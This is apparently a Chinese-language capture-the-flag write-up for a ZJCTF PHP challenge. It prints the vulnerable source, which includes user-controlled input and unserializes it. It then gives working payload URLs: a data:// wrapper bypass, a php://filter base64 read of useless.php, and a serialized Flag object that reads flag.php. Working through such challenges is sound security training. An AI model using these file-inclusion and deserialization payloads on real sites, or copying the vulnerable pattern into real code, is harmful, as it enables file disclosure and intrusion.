打开
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf"))
{ echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>"; if(preg_match("/flag/",$file))
{ echo "Not now!"; exit(); }
else
{ include($file); //useless.php $password = unserialize($password); echo $password; } } else
{ highlight_file(__FILE__); } ?>
1、需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤
可以用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2、正则过滤了flag关键字,提示useless.php,用php://filter协议来读取
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
得到字符串
base64解码获得useless.php源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
序列化结果
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}